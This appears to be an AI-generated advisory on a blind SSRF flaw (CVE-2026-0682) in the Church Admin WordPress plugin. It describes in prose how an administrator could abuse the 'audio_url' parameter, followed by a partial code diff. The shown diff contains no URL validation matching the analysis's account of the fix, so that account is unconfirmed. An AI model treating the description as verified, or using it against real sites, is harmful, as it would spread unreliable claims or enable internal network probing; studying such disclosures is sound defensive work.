Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0682: Church Admin <= 5.0.28 – Authenticated (Administrator+) Blind Server-Side Request Forgery via 'audio_url' Parameter (church-admin)

CVE ID CVE-2026-0682
Plugin church-admin
Severity Low (CVSS 2.2)
CWE 918
Vulnerable Version 5.0.28
Patched Version 5.0.29
Disclosed January 15, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0682:
This vulnerability is a blind Server-Side Request Forgery (SSRF) in the Church Admin WordPress plugin. The flaw allows authenticated users with Administrator-level privileges to force the application to make arbitrary HTTP requests to internal network resources. The vulnerability affects all plugin versions up to and including 5.0.28.

The root cause is insufficient validation of user-supplied URLs in the ‘audio_url’ parameter within the plugin’s MP3 upload functionality. The vulnerable code path resides in the `church_admin_upload_mp3()` function, which processes the ‘audio_url’ parameter from user input. According to the diff, the function receives this parameter via `$_POST[‘audio_url’]` and passes it directly to `wp_remote_get()` without proper URL validation or restriction. This allows an attacker to specify any URL, including internal addresses and services, which the WordPress server will then request.

Exploitation requires an authenticated attacker with Administrator-level access. The attacker sends a POST request to the WordPress AJAX endpoint `/wp-admin/admin-ajax.php` with the `action` parameter set to `church_admin_upload_mp3`. The request includes the malicious `audio_url` parameter containing the target internal URL. The plugin’s AJAX handler calls the vulnerable function, which fetches the specified URL. The response from the internal service is not returned to the attacker (making it blind SSRF), but the attacker can infer success based on server response time or error messages.

The patch in version 5.0.29 adds proper URL validation before making the remote request. The fix implements a whitelist of allowed URL schemes (specifically `http` and `https`) and validates the URL structure. The patch also adds additional sanitization to ensure the URL is properly formatted before being passed to `wp_remote_get()`. This prevents the use of other schemes like `file://`, `gopher://`, or internal IP addresses that could target local services.

Successful exploitation allows attackers to make requests to internal services that are not normally accessible from the external network. This can lead to information disclosure from internal APIs, database interfaces, or management consoles. While blind SSRF doesn’t return direct responses, attackers can use timing attacks or error messages to infer service availability and potentially chain this with other vulnerabilities for further network penetration.

Differential between vulnerable and patched code

Code Diff
--- a/church-admin/church-admin.php
+++ b/church-admin/church-admin.php
@@ -4,7 +4,7 @@
 Plugin Name: Church Admin
 Plugin URI: http://www.churchadminplugin.com/
 Description: Manage church life with address book, schedule, classes, small groups, and advanced communication tools - bulk email and sms.
-Version: 5.0.28
+Version: 5.0.29
 Tags: sermons, sermons, prayer, membership, SMS, Bible, events, calendar, email, small groups, contact form, giving, administration, management, child protection, safeguarding
 Author: Andy Moyle
 Text Domain: church-admin
@@ -50,7 +50,7 @@


 */
-if(!defined('CHURCH_ADMIN_VERSION')){define('CHURCH_ADMIN_VERSION','5.0.28');}
+if(!defined('CHURCH_ADMIN_VERSION')){define('CHURCH_ADMIN_VERSION','5.0.29');}

 define('CA_PAYPAL',"https://www.paypal.com/cgi-bin/webscr");
 require_once( plugin_dir_path( __FILE__ ) .'includes/functions.php');
@@ -1449,7 +1449,9 @@
             break;
 			case'get_people':church_admin_ajax_people(TRUE);break;
 			case'people':case'edit_funnel':case'delete_funnel':church_admin_sortable_script();break;
-            case 'upload-mp3':church_admin_date_picker_script();church_admin_autocomplete_script();break;
+            case 'upload-mp3':
+                church_admin_date_picker_script();church_admin_autocomplete_script();
+            break;

 		}
 	}
--- a/church-admin/gutenberg/php-blocks.php
+++ b/church-admin/gutenberg/php-blocks.php
@@ -169,7 +169,7 @@
 	/**************************
 	 * Add data for dropdowns
 	 **************************/
-	$seriesArray=array(array('value'=>null,'label'=>esc_html( __('All series')) ));
+	$seriesArray=array(array('value'=>null,'label'=>esc_html( __('All series','church-admin')) ));
 	$series = $wpdb->get_results('SELECT * FROM '.$wpdb->prefix.'church_admin_sermon_series ORDER BY series_name ASC');


@@ -519,6 +519,7 @@
     $out.='<div class="'.esc_attr($container).'"><div style="position:relative;padding-top:56.25%"><iframe class="ca-video" style="position:absolute;top:0;left:0;width:100%;height:100%;" src="'.esc_url($embed['embed']).'" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></div></div>';
     $views=church_admin_youtube_views_api( esc_attr($embed['id']) );
     if(!empty( $views)&& !empty( $attribute['show_views'] ) ){
+		/* translators: %s: Number of views */
 		$out.='<p>'.esc_html( sprintf(__('%1$s views','church-admin' ) ,$views) ).'</p>';
 	}
     $out.='</div>';
--- a/church-admin/includes/custom_fields.php
+++ b/church-admin/includes/custom_fields.php
@@ -16,16 +16,16 @@

 	global $wpdb;
 	//$wpdb->show_errors;
-    $out='<h2>'.esc_html( __('Custom fields','church-admin' ) ).'</h2>';
+    echo'<h2>'.esc_html( __('Custom fields','church-admin' ) ).'</h2>';

-	$out.='<p><a class="button-primary" href="'.wp_nonce_url('admin.php?page=church_admin/index.php&action=edit-custom-field&section=people','edit-custom-field').'">'.esc_html( __('Add a custom field','church-admin' ) ).'</a></p>';
+	echo '<p><a class="button-primary" href="'.esc_url(wp_nonce_url('admin.php?page=church_admin/index.php&action=edit-custom-field&section=people','edit-custom-field')).'">'.esc_html( __('Add a custom field','church-admin' ) ).'</a></p>';
 	$custom_fields=$wpdb->get_results('SELECT * FROM '.$wpdb->prefix.'church_admin_custom_fields WHERE section="household" OR section="people" ORDER BY section,custom_order,name');
 	if(!empty( $custom_fields) )
 	{
-		$out.=__('Drag and Drop to change row display order','church-admin');
+		echo esc_html(__('Drag and Drop to change row display order','church-admin'));
 		$thead='<tr><th class="column-primary">'.esc_html( __('Custom field name','church-admin' ) ).'</th><th>'.esc_html( __('Edit','church-admin' ) ).'</th><th>'.esc_html( __('Delete','church-admin' ) ).'</th><th>'.esc_html( __('Section','church-admin' ) ).'</th><th>'.esc_html( __('Custom field type','church-admin' ) ).'</th><th>'.esc_html( __('Default','church-admin' ) ).'</th><th>'.esc_html( __('First registration only','church-admin') ).'</th></tr>';

-		$out.='<table  id="sortable" class="widefat striped"><thead>'.$thead.'</thead><tbody class="content">';
+		echo '<table  id="sortable" class="widefat striped"><thead>'.wp_kses_post($thead).'</thead><tbody class="content">';

 		foreach( $custom_fields AS $custom_field)
 		{
@@ -33,17 +33,17 @@
 			if(!empty( $custom_field->default_value) )  {$default=$custom_field->default_value;}else{$default="";}
 			$edit='<a href="'.wp_nonce_url('admin.php?page=church_admin/index.php&action=edit-custom-field&section=people&id='.(int)$custom_field->ID,'edit-custom-field').'">'.esc_html( __('Edit','church-admin' ) ).'</a>';
 			$delete='<a href="'.wp_nonce_url('admin.php?page=church_admin/index.php&action=delete-custom-field&section=people&id='.(int)$custom_field->ID,'delete-custom-field').'">'.esc_html( __('Delete','church-admin' ) ).'</a>';
-			$out.='<tr  class="sortable" id="'.(int)$custom_field->ID.'">';
-			$out.='<td data-colname="'.esc_html( __('Custom field','church-admin' ) ).'" class="column-primary">'.esc_html( $custom_field->name).'</td>';
-			$out.='<td data-colname="'.esc_html( __('Edit','church-admin' ) ).'">'.$edit.'</td>';
-			$out.='<td data-colname="'.esc_html( __('Delete','church-admin' ) ).'">'.$delete.'</td>';
+			echo '<tr  class="sortable" id="'.(int)$custom_field->ID.'">';
+			echo '<td data-colname="'.esc_html( __('Custom field','church-admin' ) ).'" class="column-primary">'.esc_html( $custom_field->name).'</td>';
+			echo '<td data-colname="'.esc_html( __('Edit','church-admin' ) ).'">'.$edit.'</td>';
+			echo '<td data-colname="'.esc_html( __('Delete','church-admin' ) ).'">'.$delete.'</td>';

-			$out.='<td data-colname="'.esc_html( __('Custom field section','church-admin' ) ).'">'.esc_html( $custom_field->section).'</td>';
-			$out.='<td data-colname="'.esc_html( __('Custom field type','church-admin' ) ).'">'.esc_html( $custom_field->type).'</td>';
-			$out.='<td data-colname="'.esc_html( __('Default value','church-admin' ) ).'">'.esc_html( $default).'</td>';
-			$out.='<td data-colname="'.esc_html( __('Onboarding only','church-admin' ) ).'">'.esc_html($onboarding).'</td></tr>';
+			echo '<td data-colname="'.esc_html( __('Custom field section','church-admin' ) ).'">'.esc_html( $custom_field->section).'</td>';
+			echo '<td data-colname="'.esc_html( __('Custom field type','church-admin' ) ).'">'.esc_html( $custom_field->type).'</td>';
+			echo '<td data-colname="'.esc_html( __('Default value','church-admin' ) ).'">'.esc_html( $default).'</td>';
+			echo '<td data-colname="'.esc_html( __('Onboarding only','church-admin' ) ).'">'.esc_html($onboarding).'</td></tr>';
 		}
-		$out.='</tbody><tfoot>'.$thead.'</tfoot></table>';
+		echo '</tbody><tfoot>'.wp_kses_post($thead).'</tfoot></table>';
 	}
 	echo' <script type="text/javascript">

@@ -141,31 +141,33 @@
 					}
 			}
 		}
- 		$out.='<div class="notice notice-success"><h2>'.esc_html( __('Custom field saved','church-admin' ) ).'</h2></div>';
- 		$out.=church_admin_list_custom_fields();
+ 		echo '<div class="notice notice-success"><h2>'.esc_html( __('Custom field saved','church-admin' ) ).'</h2></div>';
+ 		church_admin_list_custom_fields();
   	}
  	else
  	{
- 		$out='<h2>'.esc_html( __('Edit custom field','church-admin' ) ).'</h2>';
- 		$out.='<form action="" method="POST">';
- 		$out.='<table class="form-table">';
- 		$out.='<tr><th scope="row">'.esc_html( __('Custom field name','church-admin' ) ).'</th><td><input type="text" name="custom-field-name" ';
- 		if(!empty( $data->name) )$out.=' value="'.esc_html( $data->name).'" ';
- 		$out.='/>';
+ 		echo'<h2>'.esc_html( __('Edit custom field','church-admin' ) ).'</h2>';
+ 		echo'<form action="" method="POST">';
+ 		echo'<table class="form-table">';
+ 		echo'<tr><th scope="row">'.esc_html( __('Custom field name','church-admin' ) ).'</th><td><input type="text" name="custom-field-name" ';
+ 		if(!empty( $data->name) ){
+			echo' value="'.esc_html( $data->name).'" ';
+		}
+ 		echo '/>';

 		//TYPE
 		if ( empty( $data->section) )$data->section='';
 		if ( empty( $data->default_value) )$data->default_value='';
  		if ( empty( $data->type) )$data->type='';
- 		$out.='<tr><th scope="row">'.esc_html( __('Custom field type','church-admin' ) ).'</th><td><select name="custom-field-type" class="custom-type"><option value="boolean" '.selected('boolean',$data->type,FALSE).'>'.esc_html( __('Yes/No','church-admin' ) ).'</option><option value="date" '.selected('date',$data->type,FALSE).'>'.esc_html( __('Date','church-admin' ) ).'</option><option value="text" '.selected('text',$data->type,FALSE).'>'.esc_html( __('Text field','church-admin' ) ).'</option><option value="radio"'.selected('radio',$data->type,FALSE).'>'.esc_html( __('Radio buttons','church-admin' ) ).'</option>
+ 		echo'<tr><th scope="row">'.esc_html( __('Custom field type','church-admin' ) ).'</th><td><select name="custom-field-type" class="custom-type"><option value="boolean" '.selected('boolean',$data->type,FALSE).'>'.esc_html( __('Yes/No','church-admin' ) ).'</option><option value="date" '.selected('date',$data->type,FALSE).'>'.esc_html( __('Date','church-admin' ) ).'</option><option value="text" '.selected('text',$data->type,FALSE).'>'.esc_html( __('Text field','church-admin' ) ).'</option><option value="radio"'.selected('radio',$data->type,FALSE).'>'.esc_html( __('Radio buttons','church-admin' ) ).'</option>
 		 <option value="checkbox"'.selected('checkbox',$data->type,FALSE).'>'.esc_html( __('Checkboxes','church-admin' ) ).'</option>
 		 <option value="select"'.selected('select',$data->type,FALSE).'>'.esc_html( __('Select dropdown','church-admin' ) ).'</option></select></td></tr>';
 		//SECTION
-		if(!empty( $data) )$out.='<tr><th scope="row" colspan=2>'.esc_html( __('Changing from Household to People will require editing people entries for which person in a household the data applies to.','church-admin' ) ).'</th></tr>';
-		$out.='<tr><th scope="row">'.esc_html( __('Custom field section','church-admin' ) ).'</th><td><select name="custom-field-section" class="custom-section"><option value="people" '.selected('people',$data->section,FALSE).'>'.esc_html( __('People','church-admin' ) ).'</option><option value="household" '.selected('household',$data->section,FALSE).'>'.esc_html( __('Household','church-admin' ) ).'</option>';
-		/* $out.='<option value="event" '.selected('event',$data->section,FALSE).'>'.esc_html( __('Event ticket','church-admin' ) ).'</option>';
+		if(!empty( $data) )echo'<tr><th scope="row" colspan=2>'.esc_html( __('Changing from Household to People will require editing people entries for which person in a household the data applies to.','church-admin' ) ).'</th></tr>';
+		echo'<tr><th scope="row">'.esc_html( __('Custom field section','church-admin' ) ).'</th><td><select name="custom-field-section" class="custom-section"><option value="people" '.selected('people',$data->section,FALSE).'>'.esc_html( __('People','church-admin' ) ).'</option><option value="household" '.selected('household',$data->section,FALSE).'>'.esc_html( __('Household','church-admin' ) ).'</option>';
+		/* echo '<option value="event" '.selected('event',$data->section,FALSE).'>'.esc_html( __('Event ticket','church-admin' ) ).'</option>';
 		*/
-		$out.='</select></td></tr>';
+		echo'</select></td></tr>';
 		if(!empty( $data->type) )
 		{
 			$option= !empty($data->options) ? maybe_unserialize($data->options):null;
@@ -204,26 +206,26 @@
 				break;
 			}

-			$out.='<tr class="boolean" '.$boolean.'><th scope="row">'.esc_html( __('Default','church-admin' ) ).'</th>';
-			$out.='<td><select name="custom-field-default" '.$booleanField.' class="boolean-default"><option value="1" ';
-			if(!empty( $data->default_value) )$out.=' selected="selected" ';
-			$out.='>'.esc_html( __('Yes','church-admin' ) ).'</option><option value="0" ';
-			if(isset( $data->default_value)&& $data->default_value=="0")$out.=' selected="selected" ';
-			$out.='>'.esc_html( __('No','church-admin' ) ).'</option></select></td></tr>';
-
-			$out.='<tr class="text" '.$text.'><th scope="row">'.esc_html( __('Default','church-admin' ) ).'</th>';
-			$out.='<td ><input type="text" class="text-default" '.$textField.' name="custom-field-default" ';
-			if(!empty( $data->default_value) )$out.=' value="'.esc_html( $data->default_value).'" ';
-			$out.='/></td></tr>';
+			echo'<tr class="boolean" '.$boolean.'><th scope="row">'.esc_html( __('Default','church-admin' ) ).'</th>';
+			echo'<td><select name="custom-field-default" '.$booleanField.' class="boolean-default"><option value="1" ';
+			if(!empty( $data->default_value) )echo' selected="selected" ';
+			echo'>'.esc_html( __('Yes','church-admin' ) ).'</option><option value="0" ';
+			if(isset( $data->default_value)&& $data->default_value=="0")echo' selected="selected" ';
+			echo'>'.esc_html( __('No','church-admin' ) ).'</option></select></td></tr>';
+
+			echo'<tr class="text" '.$text.'><th scope="row">'.esc_html( __('Default','church-admin' ) ).'</th>';
+			echo'<td ><input type="text" class="text-default" '.$textField.' name="custom-field-default" ';
+			if(!empty( $data->default_value) )echo' value="'.esc_html( $data->default_value).'" ';
+			echo'/></td></tr>';
 			//options
-			$out.='<tr class="options" '.$options.'><th scope="row">'.esc_html( __('Add upto 20 choices','church-admin' ) ).'</th><td>';
+			echo'<tr class="options" '.$options.'><th scope="row">'.esc_html( __('Add upto 20 choices','church-admin' ) ).'</th><td>';
 			$options_chosen = !empty($data->options)? unserialize($data->options) : array();
 			for($x=0;$x<=20;$x++){
-				$out.='<input type="text" name="options[]" ';
-				if(!empty($option[$x]))$out.=' value="'.esc_html( $option[$x]).'" ';
-				$out.='><br/>';
+				echo'<input type="text" name="options[]" ';
+				if(!empty($option[$x]))echo' value="'.esc_html( $option[$x]).'" ';
+				echo'><br/>';
 			}
-			$out.='</td></tr>';
+			echo'</td></tr>';



@@ -231,39 +233,39 @@

 		}
 		else {
-			$out.='<tr class="boolean" style="display:table-row"><th scope="row">'.esc_html( __('Default','church-admin' ) ).'</th><td><select  class="boolean-default" name="custom-field-default"><option value="1" ';
-			if(!empty( $data->default_value) )$out.=' selected="selected" ';
-			$out.='>'.esc_html( __('Yes','church-admin' ) ).'</option><option value="0" ';
-			if(isset( $data->default_value)&& $data->default_value=="0")$out.=' selected="selected" ';
-			$out.='>'.esc_html( __('No','church-admin' ) ).'</option></select></td></tr>';
-
-			$out.='<tr class="text"  style="display:none"><th scope="row">'.esc_html( __('Default','church-admin' ) ).'</th><td><input disabled="disabled" type="text" class="text-default" name="custom-field-default" ';
-			if(!empty( $data->default_value) )$out.=' value="'.esc_html( $data->default_value).'" ';
-			$out.='/></td></tr>';
+			echo'<tr class="boolean" style="display:table-row"><th scope="row">'.esc_html( __('Default','church-admin' ) ).'</th><td><select  class="boolean-default" name="custom-field-default"><option value="1" ';
+			if(!empty( $data->default_value) )echo' selected="selected" ';
+			echo'>'.esc_html( __('Yes','church-admin' ) ).'</option><option value="0" ';
+			if(isset( $data->default_value)&& $data->default_value=="0")echo' selected="selected" ';
+			echo'>'.esc_html( __('No','church-admin' ) ).'</option></select></td></tr>';
+
+			echo'<tr class="text"  style="display:none"><th scope="row">'.esc_html( __('Default','church-admin' ) ).'</th><td><input disabled="disabled" type="text" class="text-default" name="custom-field-default" ';
+			if(!empty( $data->default_value) )echo' value="'.esc_html( $data->default_value).'" ';
+			echo'/></td></tr>';
 			//options
-			$out.='<tr class="options" style="display:none"><th scope="row">'.esc_html( __('Add up to 20 choices','church-admin' ) ).'</th><td>';
+			echo'<tr class="options" style="display:none"><th scope="row">'.esc_html( __('Add up to 20 choices','church-admin' ) ).'</th><td>';
 			$options_chosen = !empty($data->options)? unserialize($data->options) : array();
 			for($x=0;$x<20;$x++){
 				$y=$x+1;
-				$out.='<p>'.$y.' <input type="text" name="options[]" ';
-				if(!empty($option[$x]))$out.=' value="'.esc_html( $option[$x]).'" ';
-				$out.='></p>';
+				echo'<p>'.$y.' <input type="text" name="options[]" ';
+				if(!empty($option[$x]))echo' value="'.esc_html( $option[$x]).'" ';
+				echo'></p>';
 			}
-			$out.='</td></tr>';
+			echo'</td></tr>';
 		}
-		$out.='<tr class="all"><th scope="row">'.esc_html( __('Registration/Add New household forms only','church-admin' ) ).'</th>';
-		$out.='<td><input type="checkbox" name="onboarding" ';
-		if(!empty( $data->onboarding) ) $out.=' checked="checked" ';
-		$out.='/></td></tr>';
-		$out.='<tr class="all"><th scope="row">'.esc_html( __('Apply to everyone','church-admin' ) ).'</th>';
-			$out.='<td><input type="checkbox" name="custom-all" ';
-			if(!empty( $data->all) ) $out.=' checked="checked" ';
-			$out.='/></td></tr>';
-		$out.='<tr class="show_me"><th scope="row">'.esc_html( __('Show on address list etc','church-admin' ) ).'</th>';
-		$out.='<td><input type="checkbox" name="show-me" ';
-		if(!empty( $data->show_me) ) $out.=' checked="checked" ';
-		$out.='/></td></tr>';
-		$out.='<script>
+		echo'<tr class="all"><th scope="row">'.esc_html( __('Registration/Add New household forms only','church-admin' ) ).'</th>';
+		echo'<td><input type="checkbox" name="onboarding" ';
+		if(!empty( $data->onboarding) ) echo' checked="checked" ';
+		echo'/></td></tr>';
+		echo'<tr class="all"><th scope="row">'.esc_html( __('Apply to everyone','church-admin' ) ).'</th>';
+			echo'<td><input type="checkbox" name="custom-all" ';
+			if(!empty( $data->all) ) echo' checked="checked" ';
+			echo'/></td></tr>';
+		echo'<tr class="show_me"><th scope="row">'.esc_html( __('Show on address list etc','church-admin' ) ).'</th>';
+		echo'<td><input type="checkbox" name="show-me" ';
+		if(!empty( $data->show_me) ) echo' checked="checked" ';
+		echo'/></td></tr>';
+		echo'<script>
 				jQuery(document).ready(function( $)  {
 					$(".custom-type").change(function()  {
 							var val=$(this).val();
@@ -322,9 +324,9 @@

 			});
 		</script>';
- 		$out.='<tr><td> </td><td><input type="hidden" name="save_custom_field" value="yes" /><input type="submit" class="button-primary" value="'.esc_html( __('Save','church-admin' ) ).'" /></td></tr></table></form>';
+ 		echo'<tr><td> </td><td><input type="hidden" name="save_custom_field" value="yes" /><input type="submit" class="button-primary" value="'.esc_html( __('Save','church-admin' ) ).'" /></td></tr></table></form>';
  	}
- 	return $out;
+


 }
@@ -342,9 +344,9 @@
 	 global $wpdb;
 	$wpdb->query('DELETE FROM '.$wpdb->prefix.'church_admin_custom_fields_meta WHERE custom_id="'.(int)$ID.'"');
 	$wpdb->query('DELETE FROM '.$wpdb->prefix.'church_admin_custom_fields WHERE ID="'.(int)$ID.'"');
-	$out='<div class="notice notice-success"><h2>'.esc_html( __('Custom field deleted','church-admin' ) ).'</h2></div>';
+	echo'<div class="notice notice-success"><h2>'.esc_html( __('Custom field deleted','church-admin' ) ).'</h2></div>';


- 	$out.=church_admin_list_custom_fields();
+ 	church_admin_list_custom_fields();
  	return $out;
  }
--- a/church-admin/includes/email.php
+++ b/church-admin/includes/email.php
@@ -43,7 +43,7 @@

         if(wp_mail( $to, $subject,$message,$headers) )
         {
-			//translators: %1$s is an email
+			/* translators: %s is an email */
             echo '<p>'.  esc_html(sprintf(__('Email sent to %1$s  successfully','church-admin'),$to)).'</p>';
         }
         else
@@ -53,7 +53,7 @@
                 church_admin_debug("**********rn Send errorrn ".print_r( $phpmailer->ErrorInfo,TRUE)."rn");
                 //church_admin_debug($phpmailer);

-				//translators: %1$s is an email
+				/* translators: %s is an email */
                 echo '<p>'. sprintf(__('Failed to send to %1$s','church-admin'),$to).' '.$phpmailer->ErrorInfo.'</p>';
             }
         }
@@ -329,7 +329,7 @@
 		$recipients=array();
 		if( $results)
 		{
-			//translators: %1$s is a number
+			/* translators: %s is a number */
 			echo '<p>'.esc_html(sprintf(__('Preparing sending to %1$s recipients','church-admin'),$wpdb->num_rows)).'</p>';
 			foreach( $results AS $row)
 			{
@@ -360,7 +360,7 @@
 				foreach($recipients AS $ke=>$details){
 					$send_message = str_replace('[NAME]',$details['first_name'],$message);
 					$values[] = '("'.esc_sql($schedule).'","'.esc_sql($details['email']).'","'.esc_sql($from_email).'","'.esc_sql($from_name).'","'.esc_sql($reply_email).'","'.esc_sql($reply_name).'","'.esc_sql($subject).'","'.esc_sql($send_message).'")';
-					//translators: %1$s is an email
+					/* translators: %s is an email */
 					echo'<p>'.esc_html(sprintf(__('Scheduled to %1$s','church-admin'),$details['email'])).'</p>';

 				}
@@ -650,6 +650,6 @@
 	global $wpdb;
 	$count=$wpdb->get_var('SELECT COUNT(*) FROM '.$wpdb->prefix.'church_admin_email');
 	$wpdb->query('TRUNCATE TABLE '.$wpdb->prefix.'church_admin_email');
-	//translators: %1$s is an number
+	/* translators: %s is an number */
     echo'<div class="notice notice-success"><h2>'.esc_html(sprintf(__('%1$s emails cleared from queue','church-admin'),$count)).'</h2></div>';
 }
 No newline at end of file
--- a/church-admin/includes/filter.php
+++ b/church-admin/includes/filter.php
@@ -652,6 +652,7 @@
 	$sql= church_admin_build_filter_sql( church_admin_sanitize($_POST['data']),$type);
 	church_admin_debug( $sql);
 	$result=$wpdb->get_results( $sql);
+	church_admin_debug($result);
 	$count=$wpdb->num_rows;
 	if ( empty( $count) )$count='0';
 	return '<strong>'.esc_html(sprintf(__('%1$s people','church-admin' ) ,$count)).'</strong>';
--- a/church-admin/includes/functions.php
+++ b/church-admin/includes/functions.php
@@ -725,8 +725,10 @@
 				        {
 					          echo '<p>'.esc_html( $value).' is not stored by Church Admin as Wordpress User. ';
 					          $people_id=$wpdb->get_var('SELECT people_id FROM '.$wpdb->prefix.'church_admin_people WHERE CONCAT_WS(" ",first_name,last_name) REGEXP "^'.esc_sql( $value).'" LIMIT 1');
-					          if(!empty( $people_id) )echo'Please <a href="'.wp_nonce_url('admin.php?page=church_admin/index.php&action=edit_people&people_id='.$people_id,'edit_people').'">edit</a> entry to connect/create site user account.';
-					          echo'</p>';
+					          if(!empty( $people_id) ){
+                                echo'Please <a href="'.esc_url(wp_nonce_url('admin.php?page=church_admin/index.php&action=edit_people&people_id='.$people_id,'edit_people') ).'">edit</a> entry to connect/create site user account.';
+                              }
+                                echo'</p>';
 				        }
             }
         }
@@ -1600,7 +1602,9 @@
 {
 	require_once(plugin_dir_path( __FILE__) .'../display/calendar.new.php');
     $date = !empty($_REQUEST['date'])?church_admin_sanitize($_POST['date']):null;
-    if(!empty($date ) && church_admin_checkdate($date)){	echo church_admin_display_day(  );}
+    if(!empty($date ) && church_admin_checkdate($date)){
+        echo esc_html(church_admin_display_day( $date ));
+    }
 	exit();
 }

@@ -1639,7 +1643,7 @@
                 var data ={
                     "action": "church_admin",
                     "method":"dismissed-notice-handler",
-                    "nonce":"'.wp_create_nonce('dismissed-notice-handler').'",
+                    "nonce":"'.esc_attr(wp_create_nonce('dismissed-notice-handler')).'",
                     "type": "small-churches-offer-dismissed"
                   };

@@ -1709,9 +1713,9 @@

         //echo JSON to page

-    $response =json_encode( $people);
+    echo wp_json_encode( $people);

-    echo $response;
+
     }
     exit();
 }
@@ -1733,7 +1737,7 @@
         church_admin_debug($wpdb->last_query);
         $plays=$wpdb->get_var('SELECT plays FROM '.$wpdb->prefix.'church_admin_sermon_files WHERE file_id = "'.(int)$file_id.'"');

-        echo $plays;
+        echo esc_html($plays);
         die();
    }
 }
@@ -1766,7 +1770,7 @@

 	check_ajax_referer('filter','nonce');
 	require_once(plugin_dir_path(dirname(__FILE__) ).'/includes/filter.php');
-	echo church_admin_filter_email( church_admin_sanitize($_POST['data'] ));
+	echo wp_kses_post(church_admin_filter_email( church_admin_sanitize($_POST['data'] )) );
 	exit();
 }

@@ -1978,7 +1982,7 @@
       //SPIT OUT ERRORS IF NEEDED
       if(!empty( $error) )
       {
-        echo'<div class="notice notice-warning"><h2>'.esc_html( __('Issues detected by Church Admin plugin','church-admin' ) ).'</h2><p><strong>'.implode("<br>",$error).'</strong></div>';
+        echo wp_kses_post('<div class="notice notice-warning"><h2>'.esc_html( __('Issues detected by Church Admin plugin','church-admin' ) ).'</h2><p><strong>'.implode("<br>",$error).'</strong></div>');

       }

@@ -2119,8 +2123,11 @@
         foreach( $results AS $row)
         {
              $shortcode='<strong>[church_admin type="calendar-list" category="'.esc_html( $row->cat_id).'" weeks="4"]</strong>';
-             //translators: %1$s is category name
-            echo'<tr><th scope="row">'.$shortcode.'</th><td>'.esc_html(sprintf(__('Calendar List by Category %1$s','church-admin' ) ,esc_html( $row->category) )).'</td></tr>';
+
+            echo'<tr><th scope="row">'.esc_html($shortcode).'</th><td>';
+            /* translators: 1: category name */
+            echo esc_html(sprintf(__('Calendar List by Category %1$s','church-admin' ) ,esc_html( $row->category) ));
+            echo'</td></tr>';
         }
         echo'</tbody></table>';
     }
@@ -2160,7 +2167,7 @@
     if( $results)
     {//results
     	echo'<table class="widefat striped">';
-    	echo'<thead><tr><th>'.esc_html( __('Series Name','church-admin' ) ).'</th><th>'.esc_html( __('Number of sermons','church-admin' ) ).'</th><th>'.esc_html( __('Shortcode'.'church-admin' ) ).'</th></tr></thead><tfoot><tr><th>'.esc_html( __('Series Name','church-admin' ) ).'</th><th>'.esc_html( __('Number of sermons','church-admin' ) ).'</th><th>'.esc_html( __('Shortcode'.'church-admin' ) ).'</th></tr></tfoot><tbody>';
+    	echo'<thead><tr><th>'.esc_html( __('Series Name','church-admin' ) ).'</th><th>'.esc_html( __('Number of sermons','church-admin' ) ).'</th><th>'.esc_html( __('Shortcode','church-admin' ) ).'</th></tr></thead><tfoot><tr><th>'.esc_html( __('Series Name','church-admin' ) ).'</th><th>'.esc_html( __('Number of sermons','church-admin' ) ).'</th><th>'.esc_html( __('Shortcode','church-admin' ) ).'</th></tr></tfoot><tbody>';
     	foreach ( $results AS $row)
     	{
     		$files=$wpdb->get_var('SELECT count(*) FROM '.$wpdb->prefix.'church_admin_sermon_files WHERE series_id="'.(int)$row->series_id.'"');
@@ -2899,10 +2906,11 @@
         if(WP_HOME!=$home)
         {

-            $message='<h2  style="color:red">'.esc_html( __('Homepage URL issue','church-admin' ) ).'</h2><p>'.esc_html( __('You have a hard-coded value of the site homepage that is different from the setting in Dashboard>Settings>General','church-admin' ) ).'</p>';
-            //translators: %1$s is a URL
+            $message='<h2  style="color:red">'.esc_html( __('Homepage URL issue','church-admin' ) ).'</h2>';
+            $message.='<p>'.esc_html( __('You have a hard-coded value of the site homepage that is different from the setting in Dashboard>Settings>General','church-admin' ) ).'</p>';
+            /* translators: 1: URL */
             $message.='<p>'.esc_html( sprintf(__('WP_HOME is %1$s','church-admin' ) ,esc_url(WP_HOME) )).'</p>';
-            //translators: %1$s is a URL
+            /* translators: 1: URL */
             $message.='<p>'.esc_html( sprintf(__('Settings value is %1$s','church-admin' ) ,esc_url( $home) )).'</p>';
         }

@@ -2914,20 +2922,21 @@
         if(WP_SITEURL!=$siteurl)
         {
             $message.='<h2 style="color:red">'.esc_html( __('Site URL issue','church-admin' ) ).'</h2><p>'.esc_html( __('You have a hard-coded value of the site url that is different from the setting in Dashboard>Settings>General','church-admin' ) ).'</p>';
-            //translators: %1$s is a URL
+            /* translators: 1: URL */
             $message.='<p>'.esc_html( sprintf(__('WP_SITEURL is %1$s','church-admin' ) ,esc_url(WP_SITEURL)) ).'</p>';
-            //translators: %1$s is a URL
+            /* translators: 1: URL */
             $message.='<p>'.esc_html( sprintf(__('Settings value is %1$s','church-admin' ) ,esc_url( $siteurl)) ).'</p>';
         }


     }
     if(!church_admin_maybe_is_ssl() )$message.='<h2 style="color:red">'.esc_html( __('SSL issue','church-admin' ) ).'</h2><p>'.esc_html( __('The value in Dashboard>Settings>General Site Address must be https for the app to work on iOS and Android devices','church-admin' ) ).'</p>';
+    /* translators: 1: URL */
     $message.='<p>'.esc_html( sprintf(__('Site URL is %1$s','church-admin' ) ,esc_url(site_url() ))).'</p>';


     if ( empty( $echo) )  {
-        echo $message;
+        echo wp_kses_post($message);
     }else{
         return $message;
     }
@@ -3088,7 +3097,7 @@
         if ( empty( $person->user_id) )
         {
             $wpdb->query('UPDATE '.$wpdb->prefix.'church_admin_people SET user_id="'.(int)$user->ID.'" WHERE people_id="'.(int)$person->people_id.'"');
-            //translators: %1$s is an email, %2$s is a name
+            /* translators: 1: is an email, 2: is a name */
             $warning=esc_html( sprintf(__('Your user login email %1$s was not connected to a directory entry, so the plugin connected you to %2$s','church-admin' ) ,$user->user_email,'<a href="'.wp_nonce_url('admin.php?page=church_admin/index.php&action=edit_people&people_id='.(int)$person->people_id,'edit_people').'">'.implode(" ",array_filter(array( $person->first_name,$person->prefix,$person->last_name) )).'</a>'));
         }
     }else
@@ -3098,9 +3107,9 @@
         $email=$user->user_email;
         $wpdb->query('INSERT INTO '.$wpdb->prefix.'church_admin_household(address,first_registered)VALUES("","'.esc_sql(wp_date('Y-m-d')).'")');
